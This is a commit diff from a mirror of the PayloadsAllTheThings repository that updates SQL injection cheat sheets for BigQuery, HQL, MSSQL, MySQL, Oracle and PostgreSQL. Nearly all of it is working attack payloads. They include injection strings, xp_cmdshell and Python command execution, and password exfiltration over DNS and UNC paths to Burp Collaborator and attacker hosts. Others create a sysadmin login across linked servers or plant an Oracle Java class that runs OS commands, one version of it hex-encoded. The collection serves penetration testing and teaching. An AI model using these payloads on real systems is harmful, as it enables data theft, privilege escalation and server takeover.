mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 10:26:09 +00:00
SQL Injections - Updates for MSSQL, Oracle, PostgreSQL
This commit is contained in:
parent
f57d0813ca
commit
67af38aa4e
@ -18,23 +18,20 @@
|
||||
* Use a classic single quote to trigger an error: `'`
|
||||
* Identify BigQuery using backtick notation: ```SELECT .... FROM `` AS ...```
|
||||
|
||||
```ps1
|
||||
# Gathering project id
|
||||
select @@project_id
|
||||
| SQL Query | Description |
|
||||
| ----------------------------------------------------- | -------------------- |
|
||||
| `SELECT @@project_id` | Gathering project id |
|
||||
| `SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA` | Gathering all dataset names |
|
||||
| `select * from project_id.dataset_name.table_name` | Gathering data from specific project id & dataset |
|
||||
|
||||
# Gathering all dataset names
|
||||
select schema_name from INFORMATION_SCHEMA.SCHEMATA
|
||||
|
||||
# Gathering data from specific project id & dataset
|
||||
select * from `project_id.dataset_name.table_name`
|
||||
```
|
||||
|
||||
## BigQuery Comment
|
||||
|
||||
```ps1
|
||||
select 1#from here it is not working
|
||||
select 1/*between those it is not working*/
|
||||
```
|
||||
| Type | Description |
|
||||
|----------------------------|-----------------------------------|
|
||||
| `#` | Hash comment |
|
||||
| `/* PostgreSQL Comment */` | C-style comment |
|
||||
|
||||
|
||||
## BigQuery Union Based
|
||||
|
||||
@ -47,13 +44,11 @@ true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,
|
||||
|
||||
## BigQuery Error Based
|
||||
|
||||
```ps1
|
||||
# Error based - division by zero
|
||||
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
|
||||
| SQL Query | Description |
|
||||
| -------------------------------------------------------- | -------------------- |
|
||||
| `' OR if(1/(length((select('a')))-1)=1,true,false) OR '` | Division by zero |
|
||||
| `select CAST(@@project_id AS INT64)` | Casting |
|
||||
|
||||
# Error based - casting: select CAST(@@project_id AS INT64)
|
||||
dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#
|
||||
```
|
||||
|
||||
## BigQuery Boolean Based
|
||||
|
||||
|
@ -19,9 +19,8 @@
|
||||
|
||||
## HQL Comments
|
||||
|
||||
```sql
|
||||
HQL does not support comments
|
||||
```
|
||||
HQL does not support comments.
|
||||
|
||||
|
||||
## HQL List Columns
|
||||
|
||||
@ -58,28 +57,31 @@ select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.pro
|
||||
|
||||
:warning: **HQL does not support UNION queries**
|
||||
|
||||
|
||||
## Single Quote Escaping
|
||||
|
||||
Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH `\'`.
|
||||
|
||||
In HQL SINGLE QUOTES is escaped in strings by doubling `''`.
|
||||
|
||||
```
|
||||
```sql
|
||||
'abc\''or 1=(select 1)--'
|
||||
```
|
||||
|
||||
In HQL it is a string, in MySQL it is a string and additional SQL expression.
|
||||
|
||||
|
||||
## $-quoted strings
|
||||
|
||||
Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions: PostgreSQL, H2.
|
||||
|
||||
Hibernate ORM allows identifiers starting with `$$`.
|
||||
|
||||
```
|
||||
```sql
|
||||
$$='$$=concat(chr(61),chr(39)) and 1=1--'
|
||||
```
|
||||
|
||||
|
||||
## DBMS Magic functions
|
||||
|
||||
Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter: PostgreSQL, Oracle.
|
||||
@ -88,13 +90,13 @@ Hibernate allows to specify any function name in HQL expression.
|
||||
|
||||
PostgreSQL has built-in function `query_to_xml('Arbitrary SQL')`.
|
||||
|
||||
```
|
||||
```sql
|
||||
array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)
|
||||
```
|
||||
|
||||
Oracle has built-in function `DBMS_XMLGEN.getxml('SQL')`
|
||||
|
||||
```
|
||||
```sql
|
||||
NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
|
||||
```
|
||||
|
||||
@ -106,7 +108,7 @@ In Microsoft SQL SERVER `SELECT LEN([U+00A0](select[U+00A0](1))` works the same
|
||||
|
||||
HQL allows UNICODE symbols in identifiers (function or parameter names).
|
||||
|
||||
```
|
||||
```sql
|
||||
SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
|
||||
```
|
||||
|
||||
@ -146,7 +148,7 @@ com.sun.java.help.impl.DocPConst.QUOTE [ JavaHelp ]
|
||||
org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE [ EclipseHelp ]
|
||||
```
|
||||
|
||||
```
|
||||
```sql
|
||||
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1
|
||||
```
|
||||
|
||||
|
@ -12,22 +12,24 @@
|
||||
* [MSSQL Hostname](#mssql-hostname)
|
||||
* [MSSQL Database Name](#mssql-database-name)
|
||||
* [MSSQL Database Credentials](#mssql-database-credentials)
|
||||
* [MSSQL List databases](#mssql-list-databases)
|
||||
* [MSSQL List columns](#mssql-list-columns)
|
||||
* [MSSQL List tables](#mssql-list-tables)
|
||||
* [MSSQL List Databases](#mssql-list-databases)
|
||||
* [MSSQL List Columns](#mssql-list-columns)
|
||||
* [MSSQL List Tables](#mssql-list-tables)
|
||||
* [MSSQL Union Based](#mssql-union-based)
|
||||
* [MSSQL Error Based](#mssql-error-based)
|
||||
* [MSSQL Blind Based](#mssql-blind-based)
|
||||
* [MSSQL Time Based](#mssql-time-based)
|
||||
* [MSSQL Stacked query](#mssql-stacked-query)
|
||||
* [MSSQL Read file](#mssql-read-file)
|
||||
* [MSSQL Command execution](#mssql-command-execution)
|
||||
* [MSSQL Out of band](#mssql-out-of-band)
|
||||
* [MSSQL DNS exfiltration](#mssql-dns-exfiltration)
|
||||
* [MSSQL UNC path](#mssql-unc-path)
|
||||
* [MSSQL Make user DBA](#mssql-make-user-dba-db-admin)
|
||||
* [MSSQL Stacked Query](#mssql-stacked-query)
|
||||
* [MSSQL Read File](#mssql-read-file)
|
||||
* [MSSQL Command Execution](#mssql-command-execution)
|
||||
* [XP_CMDSHELL](#xp_cmdshell)
|
||||
* [Python Script](#python-script)
|
||||
* [MSSQL Out of Band](#mssql-out-of-band)
|
||||
* [MSSQL DNS Exfiltration](#mssql-dns-exfiltration)
|
||||
* [MSSQL UNC Path](#mssql-unc-path)
|
||||
* [MSSQL Make User DBA](#mssql-make-user-dba)
|
||||
* [MSSQL Trusted Links](#mssql-trusted-links)
|
||||
* [MSSQL List permissions](#mssql-list-permissions)
|
||||
* [MSSQL List Permissions](#mssql-list-permissions)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
@ -78,7 +80,7 @@ SELECT SERVERPROPERTY('productlevel')
|
||||
SELECT SERVERPROPERTY('edition');
|
||||
```
|
||||
|
||||
## MSSQL Database name
|
||||
## MSSQL Database Name
|
||||
|
||||
```sql
|
||||
SELECT DB_NAME()
|
||||
@ -100,7 +102,7 @@ SELECT DB_NAME()
|
||||
```
|
||||
|
||||
|
||||
## MSSQL List databases
|
||||
## MSSQL List Databases
|
||||
|
||||
```sql
|
||||
SELECT name FROM master..sysdatabases;
|
||||
@ -108,7 +110,7 @@ SELECT DB_NAME(N); — for N = 0, 1, 2, …
|
||||
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimiter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)
|
||||
```
|
||||
|
||||
## MSSQL List columns
|
||||
## MSSQL List Columns
|
||||
|
||||
```sql
|
||||
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); -- for the current DB only
|
||||
@ -117,7 +119,7 @@ SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master.
|
||||
SELECT table_catalog, column_name FROM information_schema.columns
|
||||
```
|
||||
|
||||
## MSSQL List tables
|
||||
## MSSQL List Tables
|
||||
|
||||
```sql
|
||||
SELECT name FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views
|
||||
@ -154,36 +156,43 @@ $ SELECT UserId, UserName from Users
|
||||
```
|
||||
|
||||
|
||||
## MSSQL Error based
|
||||
## MSSQL Error Based
|
||||
|
||||
* For integer inputs
|
||||
|
||||
```sql
|
||||
For integer inputs : convert(int,@@version)
|
||||
For integer inputs : cast((SELECT @@version) as int)
|
||||
convert(int,@@version)
|
||||
cast((SELECT @@version) as int)
|
||||
```
|
||||
|
||||
For string inputs : ' + convert(int,@@version) + '
|
||||
For string inputs : ' + cast((SELECT @@version) as int) + '
|
||||
* For string inputs
|
||||
|
||||
```sql
|
||||
' + convert(int,@@version) + '
|
||||
' + cast((SELECT @@version) as int) + '
|
||||
```
|
||||
|
||||
|
||||
## MSSQL Blind based
|
||||
## MSSQL Blind Based
|
||||
|
||||
```sql
|
||||
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -
|
||||
```
|
||||
|
||||
```sql
|
||||
AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
|
||||
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--
|
||||
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
|
||||
|
||||
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
|
||||
|
||||
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
|
||||
|
||||
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
|
||||
SELECT message FROM data WHERE row = 1 and message like 't%'
|
||||
```
|
||||
|
||||
|
||||
## MSSQL Time based
|
||||
## MSSQL Time Based
|
||||
|
||||
In a time-based blind SQL injection attack, an attacker injects a payload that uses `WAITFOR DELAY` to make the database pause for a certain period. The attacker then observes the response time to infer whether the injected payload executed successfully or not.
|
||||
|
||||
```sql
|
||||
ProductID=1;waitfor delay '0:0:10'--
|
||||
@ -191,7 +200,9 @@ ProductID=1);waitfor delay '0:0:10'--
|
||||
ProductID=1';waitfor delay '0:0:10'--
|
||||
ProductID=1');waitfor delay '0:0:10'--
|
||||
ProductID=1));waitfor delay '0:0:10'--
|
||||
```
|
||||
|
||||
```sql
|
||||
IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
|
||||
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
|
||||
```
|
||||
@ -199,7 +210,7 @@ IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
|
||||
|
||||
## MSSQL Stacked Query
|
||||
|
||||
* Without any statement terminator
|
||||
* Stacked query without any statement terminator
|
||||
```sql
|
||||
-- multiple SELECT statements
|
||||
SELECT 'A'SELECT 'B'SELECT 'C'
|
||||
@ -212,13 +223,13 @@ IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
|
||||
SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
|
||||
```
|
||||
|
||||
* Use a semi-colon ";" to add another query
|
||||
* Use a semi-colon "`;`" to add another query
|
||||
```sql
|
||||
ProductID=1; DROP members--
|
||||
```
|
||||
|
||||
|
||||
## MSSQL Read file
|
||||
## MSSQL Read File
|
||||
|
||||
**Permissions**: The `BULK` option requires the `ADMINISTER BULK OPERATIONS` or the `ADMINISTER DATABASE BULK OPERATIONS` permission.
|
||||
|
||||
@ -227,7 +238,9 @@ IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
|
||||
```
|
||||
|
||||
|
||||
## MSSQL Command execution
|
||||
## MSSQL Command Execution
|
||||
|
||||
### XP_CMDSHELL
|
||||
|
||||
```sql
|
||||
EXEC xp_cmdshell "net user";
|
||||
@ -244,42 +257,33 @@ EXEC sp_configure 'xp_cmdshell',1;
|
||||
RECONFIGURE;
|
||||
```
|
||||
|
||||
To interact with the MSSQL instance.
|
||||
### Python Script
|
||||
|
||||
```powershell
|
||||
sqsh -S 192.168.1.X -U sa -P superPassword
|
||||
python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758
|
||||
```
|
||||
|
||||
Execute Python script
|
||||
|
||||
> Executed by a different user than the one using xp_cmdshell to execute commands
|
||||
> Executed by a different user than the one using `xp_cmdshell` to execute commands
|
||||
|
||||
```powershell
|
||||
# Print the user being used (and execute commands)
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
|
||||
#Open and read a file
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
|
||||
#Multiline
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
|
||||
import sys
|
||||
print(sys.version)
|
||||
'
|
||||
GO
|
||||
```
|
||||
|
||||
## MSSQL Out of band
|
||||
|
||||
## MSSQL Out of Band
|
||||
|
||||
### MSSQL DNS exfiltration
|
||||
|
||||
Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1
|
||||
|
||||
```powershell
|
||||
# Permissions: Requires VIEW SERVER STATE permission on the server.
|
||||
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))
|
||||
* **Permission**: Requires VIEW SERVER STATE permission on the server.
|
||||
|
||||
# Permissions: Requires the CONTROL SERVER permission.
|
||||
```powershell
|
||||
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))
|
||||
```
|
||||
|
||||
* **Permission**: Requires the CONTROL SERVER permission.
|
||||
|
||||
```powershell
|
||||
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
|
||||
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
|
||||
```
|
||||
@ -308,7 +312,7 @@ RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
|
||||
```
|
||||
|
||||
|
||||
## MSSQL Make user DBA (DB admin)
|
||||
## MSSQL Make User DBA
|
||||
|
||||
```sql
|
||||
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
|
||||
@ -345,7 +349,7 @@ EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '')
|
||||
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
||||
```
|
||||
|
||||
## List permissions
|
||||
## List Permissions
|
||||
|
||||
Listing effective permissions of current user on the server.
|
||||
|
||||
|
@ -43,8 +43,8 @@
|
||||
* [UNC Path - NTLM Hash Stealing](#unc-path---ntlm-hash-stealing)
|
||||
* [MYSQL WAF Bypass](#mysql-waf-bypass)
|
||||
* [Alternative to Information Schema](#alternative-to-information-schema)
|
||||
* [Alternative to Version](#alternative-to-version)
|
||||
* [Alternative to group_concat](#alternative-to-group_concat)
|
||||
* [Alternative to VERSION](#alternative-to-version)
|
||||
* [Alternative to GROUP_CONCAT](#alternative-to-group_concat)
|
||||
* [Scientific Notation](#scientific-notation)
|
||||
* [Conditional Comments](#conditional-comments)
|
||||
* [Wide Byte Injection (GBK)](#wide-byte-injection-gbk)
|
||||
@ -645,7 +645,7 @@ mysql> SHOW TABLES IN dvwa;
|
||||
```
|
||||
|
||||
|
||||
### Alternative to Version
|
||||
### Alternative to VERSION
|
||||
|
||||
```sql
|
||||
mysql> SELECT @@innodb_version;
|
||||
@ -671,7 +671,7 @@ mysql> mysql> SELECT version();
|
||||
```
|
||||
|
||||
|
||||
### Alternative to group_concat
|
||||
### Alternative to GROUP_CONCAT
|
||||
|
||||
Requirement: `MySQL >= 5.7.22`
|
||||
|
||||
|
@ -11,13 +11,16 @@
|
||||
* [Oracle SQL Hostname](#oracle-sql-hostname)
|
||||
* [Oracle SQL Database Name](#oracle-sql-database-name)
|
||||
* [Oracle SQL Database Credentials](#oracle-sql-database-credentials)
|
||||
* [Oracle SQL List databases](#oracle-sql-list-databases)
|
||||
* [Oracle SQL List columns](#oracle-sql-list-columns)
|
||||
* [Oracle SQL List tables](#oracle-sql-list-tables)
|
||||
* [Oracle SQL List Databases](#oracle-sql-list-databases)
|
||||
* [Oracle SQL List Columns](#oracle-sql-list-columns)
|
||||
* [Oracle SQL List Tables](#oracle-sql-list-tables)
|
||||
* [Oracle SQL Error Based](#oracle-sql-error-based)
|
||||
* [Oracle SQL Blind](#oracle-sql-blind)
|
||||
* [Oracle SQL Time Based](#oracle-sql-time-based)
|
||||
* [Oracle SQL Command execution](#oracle-sql-command-execution)
|
||||
* [Oracle SQL Out of Band](#oracle-sql-out-of-band)
|
||||
* [Oracle SQL Command Execution](#oracle-sql-command-execution)
|
||||
* [Oracle Java Execution](#oracle-java-execution)
|
||||
* [Oracle Java Class](#oracle-java-class)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
@ -99,7 +102,7 @@ SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
|
||||
```
|
||||
|
||||
|
||||
## Oracle SQL Error based
|
||||
## Oracle SQL Error Based
|
||||
|
||||
| Description | Query |
|
||||
| :-------------------- | :------------- |
|
||||
@ -126,37 +129,51 @@ When the injection point is inside a string use : `'||PAYLOAD--`
|
||||
| First letter of first message is t | `SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%';` |
|
||||
|
||||
|
||||
## Oracle SQL Time based
|
||||
## Oracle SQL Time Based
|
||||
|
||||
```sql
|
||||
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
|
||||
```
|
||||
|
||||
|
||||
## Oracle SQL Out of Band
|
||||
|
||||
```sql
|
||||
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
|
||||
```
|
||||
|
||||
|
||||
## Oracle SQL Command Execution
|
||||
|
||||
* [ODAT (Oracle Database Attacking Tool)](https://github.com/quentinhardy/odat)
|
||||
* [quentinhardy/odat](https://github.com/quentinhardy/odat) - ODAT (Oracle Database Attacking Tool)
|
||||
|
||||
### Oracle Java Execution
|
||||
|
||||
* List Java privileges
|
||||
|
||||
```sql
|
||||
select * from dba_java_policy
|
||||
select * from user_java_policy
|
||||
```
|
||||
|
||||
* Grant privileges
|
||||
|
||||
```sql
|
||||
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
|
||||
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
|
||||
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
|
||||
```
|
||||
|
||||
* Execute commands
|
||||
* 10g R2, 11g R1 and R2: `DBMS_JAVA_TEST.FUNCALL()`
|
||||
|
||||
```sql
|
||||
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL
|
||||
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual
|
||||
```
|
||||
|
||||
* 11g R1 and R2: `DBMS_JAVA.RUNJAVA()`
|
||||
|
||||
```sql
|
||||
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL
|
||||
```
|
||||
@ -164,33 +181,29 @@ AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
|
||||
|
||||
### Oracle Java Class
|
||||
|
||||
* Create Java class
|
||||
|
||||
```sql
|
||||
/* create Java class */
|
||||
BEGIN
|
||||
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
|
||||
END;
|
||||
/
|
||||
|
||||
BEGIN
|
||||
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
|
||||
END;
|
||||
/
|
||||
|
||||
/* run OS command */
|
||||
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
|
||||
```
|
||||
|
||||
or (hex encoded)
|
||||
|
||||
```sql
|
||||
/* create Java class */
|
||||
-- hex encoded payload
|
||||
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
|
||||
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual
|
||||
```
|
||||
|
||||
/* run OS command */
|
||||
* Run OS command
|
||||
|
||||
```sql
|
||||
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [ASDC12 - New and Improved Hacking Oracle From Web - Sumit “sid” Siddharth - November 8, 2021](https://web.archive.org/web/20211108150011/https://owasp.org/www-pdf-archive/ASDC12-New_and_Improved_Hacking_Oracle_From_Web.pdf)
|
||||
|
@ -1,6 +1,6 @@
|
||||
# PostgreSQL Injection
|
||||
|
||||
>
|
||||
> PostgreSQL SQL injection refers to a type of security vulnerability where attackers exploit improperly sanitized user input to execute unauthorized SQL commands within a PostgreSQL database.
|
||||
|
||||
|
||||
## Summary
|
||||
@ -8,35 +8,33 @@
|
||||
* [PostgreSQL Comments](#postgresql-comments)
|
||||
* [PostgreSQL Version](#postgresql-version)
|
||||
* [PostgreSQL Current User](#postgresql-current-user)
|
||||
* [PostgreSQL List Users](#postgresql-list-users)
|
||||
* [PostgreSQL List Password Hashes](#postgresql-list-password-hashes)
|
||||
* [PostgreSQL List Database Administrator Accounts](#postgresql-list-database-administrator-accounts)
|
||||
* [PostgreSQL Privileges](#postgresql-privileges)
|
||||
* [PostgreSQL List Privileges](#postgresql-list-privileges)
|
||||
* [PostgreSQL Check if Current User is Superuser](#postgresql-check-if-current-user-is-superuser)
|
||||
* [PostgreSQL database name](#postgresql-database-name)
|
||||
* [PoStgresql List Databases](#postgresql-list-database)
|
||||
* [PostgreSQL List Tables](#postgresql-list-tables)
|
||||
* [PostgreSQL List Columns](#postgresql-list-columns)
|
||||
* [PostgreSQL Superuser Role](#postgresql-superuser-role)
|
||||
* [PostgreSQL Enumeration](#postgresql-enumeration)
|
||||
* [PostgreSQL Error Based](#postgresql-error-based)
|
||||
* [PostgreSQL XML Helpers](#postgresql-xml-helpers)
|
||||
* [PostgreSQL Blind](#postgresql-blind)
|
||||
* [PostgreSQL Time Based](#postgresql-time-based)
|
||||
* [PostgreSQL Out of Band](#postgresql-out-of-band)
|
||||
* [PostgreSQL Stacked Query](#postgresql-stacked-query)
|
||||
* [PostgreSQL File Manipulation](#postgresql-file-manipulation)
|
||||
* [PostgreSQL File Read](#postgresql-file-read)
|
||||
* [PostgreSQL File Write](#postgresql-file-write)
|
||||
* [PostgreSQL Command Execution](#postgresql-command-execution)
|
||||
* [CVE-2019–9193](#cve-20199193)
|
||||
* [Using COPY TO/FROM PROGRAM](#using-copy-tofrom-program)
|
||||
* [Using libc.so.6](#using-libcso6)
|
||||
* [Bypass Filter](#bypass-filter)
|
||||
* [PostgreSQL WAF Bypass](#postgresql-waf-bypass)
|
||||
* [Alternative to Quotes](#alternative-to-quotes)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
## PostgreSQL Comments
|
||||
|
||||
```sql
|
||||
--
|
||||
/**/
|
||||
```
|
||||
| Type | Comment |
|
||||
| ---- | ------- |
|
||||
| Single-Line Comment | `--` |
|
||||
| Multi-Line Comment | `/**/` |
|
||||
|
||||
|
||||
## PostgreSQL Version
|
||||
@ -55,37 +53,18 @@ SELECT usename FROM pg_user;
|
||||
SELECT getpgusername();
|
||||
```
|
||||
|
||||
## PostgreSQL List Users
|
||||
|
||||
```sql
|
||||
SELECT usename FROM pg_user
|
||||
```
|
||||
## PostgreSQL Privileges
|
||||
|
||||
## PostgreSQL List Password Hashes
|
||||
### PostgreSQL List Privileges
|
||||
|
||||
```sql
|
||||
SELECT usename, passwd FROM pg_shadow
|
||||
```
|
||||
Retrieve all table-level privileges for the current user, excluding tables in system schemas like `pg_catalog` and `information_schema`.
|
||||
|
||||
## PostgreSQL List Database Administrator Accounts
|
||||
|
||||
```sql
|
||||
SELECT usename FROM pg_user WHERE usesuper IS TRUE
|
||||
```
|
||||
|
||||
## PostgreSQL List Privileges
|
||||
|
||||
Gather information from the [`pg_user`](https://www.postgresql.org/docs/current/view-pg-user.html) table:
|
||||
```sql
|
||||
SELECT * FROM pg_user
|
||||
```
|
||||
|
||||
Retrieve all table-level privileges for the current user, excluding tables in system schemas like `pg_catalog` and `information_schema`:
|
||||
```sql
|
||||
SELECT * FROM information_schema.role_table_grants WHERE grantee = current_user AND table_schema NOT IN ('pg_catalog', 'information_schema');
|
||||
```
|
||||
|
||||
## PostgreSQL Check if Current User is Superuser
|
||||
### PostgreSQL Superuser Role
|
||||
|
||||
```sql
|
||||
SHOW is_superuser;
|
||||
@ -93,29 +72,18 @@ SELECT current_setting('is_superuser');
|
||||
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;
|
||||
```
|
||||
|
||||
## PostgreSQL Database Name
|
||||
## PostgreSQL Enumeration
|
||||
|
||||
```sql
|
||||
SELECT current_database()
|
||||
```
|
||||
| SQL Query | Description |
|
||||
| --------------------------------------- | -------------- |
|
||||
| `SELECT current_database()` | Database Name |
|
||||
| `SELECT datname FROM pg_database` | List Databases |
|
||||
| `SELECT table_name FROM information_schema.tables` | List Tables |
|
||||
| `SELECT column_name FROM information_schema.columns WHERE table_name='data_table'` | List Columns |
|
||||
| `SELECT usename FROM pg_user` | List PostgreSQL Users |
|
||||
| `SELECT usename, passwd FROM pg_shadow` | List Password Hashes |
|
||||
| `SELECT usename FROM pg_user WHERE usesuper IS TRUE` | List Database Administrator Accounts |
|
||||
|
||||
## PostgreSQL List Database
|
||||
|
||||
```sql
|
||||
SELECT datname FROM pg_database
|
||||
```
|
||||
|
||||
## PostgreSQL List Tables
|
||||
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables
|
||||
```
|
||||
|
||||
## PostgreSQL List Columns
|
||||
|
||||
```sql
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
|
||||
```
|
||||
|
||||
## PostgreSQL Error Based
|
||||
|
||||
@ -124,14 +92,16 @@ SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
|
||||
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
|
||||
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
|
||||
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
|
||||
```
|
||||
|
||||
```sql
|
||||
' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
|
||||
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
|
||||
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
|
||||
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
|
||||
```
|
||||
|
||||
